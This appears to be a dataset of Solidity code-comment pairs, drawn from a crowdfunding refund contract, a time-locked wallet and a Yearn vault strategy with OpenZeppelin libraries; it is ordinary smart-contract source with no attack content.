ProjectDTO[](projectOwners.length); for (uint i = 0; i < projectOwners.length; i++) { projectDTO[i] = ProjectDTO(projectOwners[i], projects[projectOwners[i]]); } return projectDTO; } // Devolver dinheiro dos apoiadores // Chamada pelo dono do projeto ao encerrar ou expirar o projeto function refundDonation(address _projectOwner) private { for(uint i = 0; i < donationOwners.length; i++){ for(uint j = 0; j < donations[donationOwners[i]].length; j++){ if(donations[donationOwners[i]][j].project == _projectOwner){ payable(donationOwners[i]).transfer(donations[donationOwners[i]][j].value * 9 / 10); } } } payable(ownerContract).transfer(projects[msg.sender].amount / 10); } // Permite a um usuario ver as doacoes que ele realizou function checkDonations() public view returns (Donation[] memory) { return donations[msg.sender]; } function checkProjectExistence(address _project) private view returns (bool) { for (uint ii = 0; ii < projectOwners.length; ii++) if (projectOwners[ii] == _project) return true; return false; } }
Devolver dinheiro dos apoiadores Chamada pelo dono do projeto ao encerrar ou expirar o projeto
function refundDonation(address _projectOwner) private { for(uint i = 0; i < donationOwners.length; i++){ for(uint j = 0; j < donations[donationOwners[i]].length; j++){ if(donations[donationOwners[i]][j].project == _projectOwner){ payable(donationOwners[i]).transfer(donations[donationOwners[i]][j].value * 9 / 10); } } } payable(ownerContract).transfer(projects[msg.sender].amount / 10); }
15,805,066
pragma solidity ^0.4.24; /** * @title ERC20 * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } contract TimeLockedWallet { address public creator; address public owner; uint public unlockDate; uint public createdAt; event Received(address from, uint amount); event Withdrew(address to, uint amount); event WithdrewTokens(address tokenContract, address to, uint amount); modifier onlyOwner { require(msg.sender == owner); _; } constructor ( address _owner, uint _unlockDate ) public { creator = msg.sender; owner = _owner; unlockDate = _unlockDate; createdAt = now; } // keep all the ether sent to this address function() payable public { emit Received(msg.sender, msg.value); } // callable by owner only, after specified time function withdraw() onlyOwner public { require(now >= unlockDate); //now send all the balance uint256 balance = address(this).balance; msg.sender.transfer(balance); emit Withdrew(msg.sender, balance); } // callable by owner only, after specified time, only for Tokens implementing ERC20 function withdrawTokens(address _tokenContract) onlyOwner public { require(now >= unlockDate); ERC20 token = ERC20(_tokenContract); //now send all the token balance uint tokenBalance = token.balanceOf(this); token.transfer(owner, tokenBalance); emit WithdrewTokens(_tokenContract, msg.sender, tokenBalance); } function info() public view returns(address _creator, address _owner, uint _unlockDate, uint _now, uint _createdAt, uint _balance) { return (creator, owner, unlockDate, now, createdAt, address(this).balance); } function isLocked() public view returns(bool _isLocked) { return now < unlockDate; } function tokenBalance(address _tokenContract) public view returns(uint _balance) { ERC20 token = ERC20(_tokenContract); //now send all the token balance uint balance = token.balanceOf(this); return balance; } }
now send all the token balance
function tokenBalance(address _tokenContract) public view returns(uint _balance) { ERC20 token = ERC20(_tokenContract); uint balance = token.balanceOf(this); return balance; }
12,856,582
/** *Submitted for verification at Etherscan.io on 2021-11-30 */ // SPDX-License-Identifier: AGPL-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; // Global Enums and Structs struct StrategyParams { uint256 performanceFee; uint256 activation; uint256 debtRatio; uint256 minDebtPerHarvest; uint256 maxDebtPerHarvest; uint256 lastReport; uint256 totalDebt; uint256 totalGain; uint256 totalLoss; } // Part: IBaseFee interface IBaseFee { function isCurrentBaseFeeAcceptable() external view returns (bool); } // Part: ICurveFi interface ICurveFi { function get_virtual_price() external view returns (uint256); function add_liquidity( // EURt uint256[2] calldata amounts, uint256 min_mint_amount ) external payable; function add_liquidity( // Compound, sAave uint256[2] calldata amounts, uint256 min_mint_amount, bool _use_underlying ) external payable returns (uint256); function add_liquidity( // Iron Bank, Aave uint256[3] calldata amounts, uint256 min_mint_amount, bool _use_underlying ) external payable returns (uint256); function add_liquidity( // 3Crv Metapools address pool, uint256[4] calldata amounts, uint256 min_mint_amount ) external; function add_liquidity( // Y and yBUSD uint256[4] calldata amounts, uint256 min_mint_amount, bool _use_underlying ) external payable returns (uint256); function add_liquidity( // 3pool uint256[3] calldata amounts, uint256 min_mint_amount ) external payable; function add_liquidity( // sUSD uint256[4] calldata amounts, uint256 min_mint_amount ) external payable; function remove_liquidity_imbalance( uint256[2] calldata amounts, uint256 max_burn_amount ) external; function remove_liquidity(uint256 _amount, uint256[2] calldata amounts) external; function remove_liquidity_one_coin( uint256 _token_amount, int128 i, uint256 min_amount ) external; function exchange( int128 from, int128 to, uint256 _from_amount, uint256 _min_to_amount ) external; function balances(uint256) external view returns (uint256); function get_dy( int128 from, int128 to, uint256 _from_amount ) external view returns (uint256); // EURt function calc_token_amount(uint256[2] calldata _amounts, bool _is_deposit) external view returns (uint256); // 3Crv Metapools function calc_token_amount( address _pool, uint256[4] calldata _amounts, bool _is_deposit ) external view returns (uint256); // sUSD, Y pool, etc function calc_token_amount(uint256[4] calldata _amounts, bool _is_deposit) external view returns (uint256); // 3pool, Iron Bank, etc function calc_token_amount(uint256[3] calldata _amounts, bool _is_deposit) external view returns (uint256); function calc_withdraw_one_coin(uint256 amount, int128 i) external view returns (uint256); } // Part: ICurveStrategyProxy interface ICurveStrategyProxy { function proxy() external returns (address); function balanceOf(address _gauge) external view returns (uint256); function deposit(address _gauge, address _token) external; function withdraw( address _gauge, address _token, uint256 _amount ) external returns (uint256); function withdrawAll(address _gauge, address _token) external returns (uint256); function harvest(address _gauge) external; function lock() external; function approveStrategy(address) external; function revokeStrategy(address) external; function claimRewards(address _gauge, address _token) external; } // Part: IUniV3 interface IUniV3 { struct ExactInputParams { bytes path; address recipient; uint256 deadline; uint256 amountIn; uint256 amountOutMinimum; } function exactInput(ExactInputParams calldata params) external payable returns (uint256 amountOut); } // Part: IUniswapV2Router01 interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function removeLiquidity( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETH( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountToken, uint256 amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETHWithPermit( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountToken, uint256 amountETH); function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapTokensForExactTokens( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactETHForTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function swapTokensForExactETH( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactTokensForETH( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapETHForExactTokens( uint256 amountOut, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function quote( uint256 amountA, uint256 reserveA, uint256 reserveB ) external pure returns (uint256 amountB); function getAmountOut( uint256 amountIn, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountOut); function getAmountIn( uint256 amountOut, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountIn); function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts); function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts); } // Part: OpenZeppelin/[email protected]/Address /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // Part: OpenZeppelin/[email protected]/IERC20 /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // Part: OpenZeppelin/[email protected]/Math /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // Part: OpenZeppelin/[email protected]/SafeMath /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // Part: yearn/[email protected]/HealthCheck interface HealthCheck { function check( uint256 profit, uint256 loss, uint256 debtPayment, uint256 debtOutstanding, uint256 totalDebt ) external view returns (bool); } // Part: IUniswapV2Router02 interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } // Part: OpenZeppelin/[email protected]/SafeERC20 /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // Part: yearn/[email protected]/VaultAPI interface VaultAPI is IERC20 { function name() external view returns (string calldata); function symbol() external view returns (string calldata); function decimals() external view returns (uint256); function apiVersion() external pure returns (string memory); function permit( address owner, address spender, uint256 amount, uint256 expiry, bytes calldata signature ) external returns (bool); // NOTE: Vyper produces multiple signatures for a given function with "default" args function deposit() external returns (uint256); function deposit(uint256 amount) external returns (uint256); function deposit(uint256 amount, address recipient) external returns (uint256); // NOTE: Vyper produces multiple signatures for a given function with "default" args function withdraw() external returns (uint256); function withdraw(uint256 maxShares) external returns (uint256); function withdraw(uint256 maxShares, address recipient) external returns (uint256); function token() external view returns (address); function strategies(address _strategy) external view returns (StrategyParams memory); function pricePerShare() external view returns (uint256); function totalAssets() external view returns (uint256); function depositLimit() external view returns (uint256); function maxAvailableShares() external view returns (uint256); /** * View how much the Vault would increase this Strategy's borrow limit, * based on its present performance (since its last report). Can be used to * determine expectedReturn in your Strategy. */ function creditAvailable() external view returns (uint256); /** * View how much the Vault would like to pull back from the Strategy, * based on its present performance (since its last report). Can be used to * determine expectedReturn in your Strategy. */ function debtOutstanding() external view returns (uint256); /** * View how much the Vault expect this Strategy to return at the current * block, based on its present performance (since its last report). Can be * used to determine expectedReturn in your Strategy. */ function expectedReturn() external view returns (uint256); /** * This is the main contact point where the Strategy interacts with the * Vault. It is critical that this call is handled as intended by the * Strategy. Therefore, this function will be called by BaseStrategy to * make sure the integration is correct. */ function report( uint256 _gain, uint256 _loss, uint256 _debtPayment ) external returns (uint256); /** * This function should only be used in the scenario where the Strategy is * being retired but no migration of the positions are possible, or in the * extreme scenario that the Strategy needs to be put into "Emergency Exit" * mode in order for it to exit as quickly as possible. The latter scenario * could be for any reason that is considered "critical" that the Strategy * exits its position as fast as possible, such as a sudden change in * market conditions leading to losses, or an imminent failure in an * external dependency. */ function revokeStrategy() external; /** * View the governance address of the Vault to assert privileged functions * can only be called by governance. The Strategy serves the Vault, so it * is subject to governance defined by the Vault. */ function governance() external view returns (address); /** * View the management address of the Vault to assert privileged functions * can only be called by management. The Strategy serves the Vault, so it * is subject to management defined by the Vault. */ function management() external view returns (address); /** * View the guardian address of the Vault to assert privileged functions * can only be called by guardian. The Strategy serves the Vault, so it * is subject to guardian defined by the Vault. */ function guardian() external view returns (address); } // Part: yearn/[email protected]/BaseStrategy /** * @title Yearn Base Strategy * @author yearn.finance * @notice * BaseStrategy implements all of the required functionality to interoperate * closely with the Vault contract. This contract should be inherited and the * abstract methods implemented to adapt the Strategy to the particular needs * it has to create a return. * * Of special interest is the relationship between `harvest()` and * `vault.report()'. `harvest()` may be called simply because enough time has * elapsed since the last report, and not because any funds need to be moved * or positions adjusted. This is critical so that the Vault may maintain an * accurate picture of the Strategy's performance. See `vault.report()`, * `harvest()`, and `harvestTrigger()` for further details. */ abstract contract BaseStrategy { using SafeMath for uint256; using SafeERC20 for IERC20; string public metadataURI; // health checks bool public doHealthCheck; address public healthCheck; /** * @notice * Used to track which version of `StrategyAPI` this Strategy * implements. * @dev The Strategy's version must match the Vault's `API_VERSION`. * @return A string which holds the current API version of this contract. */ function apiVersion() public pure returns (string memory) { return "0.4.3"; } /** * @notice This Strategy's name. * @dev * You can use this field to manage the "version" of this Strategy, e.g. * `StrategySomethingOrOtherV1`. However, "API Version" is managed by * `apiVersion()` function above. * @return This Strategy's name. */ function name() external view virtual returns (string memory); /** * @notice * The amount (priced in want) of the total assets managed by this strategy should not count * towards Yearn's TVL calculations. * @dev * You can override this field to set it to a non-zero value if some of the assets of this * Strategy is somehow delegated inside another part of of Yearn's ecosystem e.g. another Vault. * Note that this value must be strictly less than or equal to the amount provided by * `estimatedTotalAssets()` below, as the TVL calc will be total assets minus delegated assets. * Also note that this value is used to determine the total assets under management by this * strategy, for the purposes of computing the management fee in `Vault` * @return * The amount of assets this strategy manages that should not be included in Yearn's Total Value * Locked (TVL) calculation across it's ecosystem. */ function delegatedAssets() external view virtual returns (uint256) { return 0; } VaultAPI public vault; address public strategist; address public rewards; address public keeper; IERC20 public want; // So indexers can keep track of this event Harvested(uint256 profit, uint256 loss, uint256 debtPayment, uint256 debtOutstanding); event UpdatedStrategist(address newStrategist); event UpdatedKeeper(address newKeeper); event UpdatedRewards(address rewards); event UpdatedMinReportDelay(uint256 delay); event UpdatedMaxReportDelay(uint256 delay); event UpdatedProfitFactor(uint256 profitFactor); event UpdatedDebtThreshold(uint256 debtThreshold); event EmergencyExitEnabled(); event UpdatedMetadataURI(string metadataURI); // The minimum number of seconds between harvest calls. See // `setMinReportDelay()` for more details. uint256 public minReportDelay; // The maximum number of seconds between harvest calls. See // `setMaxReportDelay()` for more details. uint256 public maxReportDelay; // The minimum multiple that `callCost` must be above the credit/profit to // be "justifiable". See `setProfitFactor()` for more details. uint256 public profitFactor; // Use this to adjust the threshold at which running a debt causes a // harvest trigger. See `setDebtThreshold()` for more details. uint256 public debtThreshold; // See note on `setEmergencyExit()`. bool public emergencyExit; // modifiers modifier onlyAuthorized() { require(msg.sender == strategist || msg.sender == governance(), "!authorized"); _; } modifier onlyEmergencyAuthorized() { require( msg.sender == strategist || msg.sender == governance() || msg.sender == vault.guardian() || msg.sender == vault.management(), "!authorized" ); _; } modifier onlyStrategist() { require(msg.sender == strategist, "!strategist"); _; } modifier onlyGovernance() { require(msg.sender == governance(), "!authorized"); _; } modifier onlyKeepers() { require( msg.sender == keeper || msg.sender == strategist || msg.sender == governance() || msg.sender == vault.guardian() || msg.sender == vault.management(), "!authorized" ); _; } modifier onlyVaultManagers() { require(msg.sender == vault.management() || msg.sender == governance(), "!authorized"); _; } constructor(address _vault) public { _initialize(_vault, msg.sender, msg.sender, msg.sender); } /** * @notice * Initializes the Strategy, this is called only once, when the * contract is deployed. * @dev `_vault` should implement `VaultAPI`. * @param _vault The address of the Vault responsible for this Strategy. * @param _strategist The address to assign as `strategist`. * The strategist is able to change the reward address * @param _rewards The address to use for pulling rewards. * @param _keeper The adddress of the _keeper. _keeper * can harvest and tend a strategy. */ function _initialize( address _vault, address _strategist, address _rewards, address _keeper ) internal { require(address(want) == address(0), "Strategy already initialized"); vault = VaultAPI(_vault); want = IERC20(vault.token()); want.safeApprove(_vault, uint256(-1)); // Give Vault unlimited access (might save gas) strategist = _strategist; rewards = _rewards; keeper = _keeper; // initialize variables minReportDelay = 0; maxReportDelay = 86400; profitFactor = 100; debtThreshold = 0; vault.approve(rewards, uint256(-1)); // Allow rewards to be pulled } function setHealthCheck(address _healthCheck) external onlyVaultManagers { healthCheck = _healthCheck; } function setDoHealthCheck(bool _doHealthCheck) external onlyVaultManagers { doHealthCheck = _doHealthCheck; } /** * @notice * Used to change `strategist`. * * This may only be called by governance or the existing strategist. * @param _strategist The new address to assign as `strategist`. */ function setStrategist(address _strategist) external onlyAuthorized { require(_strategist != address(0)); strategist = _strategist; emit UpdatedStrategist(_strategist); } /** * @notice * Used to change `keeper`. * * `keeper` is the only address that may call `tend()` or `harvest()`, * other than `governance()` or `strategist`. However, unlike * `governance()` or `strategist`, `keeper` may *only* call `tend()` * and `harvest()`, and no other authorized functions, following the * principle of least privilege. * * This may only be called by governance or the strategist. * @param _keeper The new address to assign as `keeper`. */ function setKeeper(address _keeper) external onlyAuthorized { require(_keeper != address(0)); keeper = _keeper; emit UpdatedKeeper(_keeper); } /** * @notice * Used to change `rewards`. EOA or smart contract which has the permission * to pull rewards from the vault. * * This may only be called by the strategist. * @param _rewards The address to use for pulling rewards. */ function setRewards(address _rewards) external onlyStrategist { require(_rewards != address(0)); vault.approve(rewards, 0); rewards = _rewards; vault.approve(rewards, uint256(-1)); emit UpdatedRewards(_rewards); } /** * @notice * Used to change `minReportDelay`. `minReportDelay` is the minimum number * of blocks that should pass for `harvest()` to be called. * * For external keepers (such as the Keep3r network), this is the minimum * time between jobs to wait. (see `harvestTrigger()` * for more details.) * * This may only be called by governance or the strategist. * @param _delay The minimum number of seconds to wait between harvests. */ function setMinReportDelay(uint256 _delay) external onlyAuthorized { minReportDelay = _delay; emit UpdatedMinReportDelay(_delay); } /** * @notice * Used to change `maxReportDelay`. `maxReportDelay` is the maximum number * of blocks that should pass for `harvest()` to be called. * * For external keepers (such as the Keep3r network), this is the maximum * time between jobs to wait. (see `harvestTrigger()` * for more details.) * * This may only be called by governance or the strategist. * @param _delay The maximum number of seconds to wait between harvests. */ function setMaxReportDelay(uint256 _delay) external onlyAuthorized { maxReportDelay = 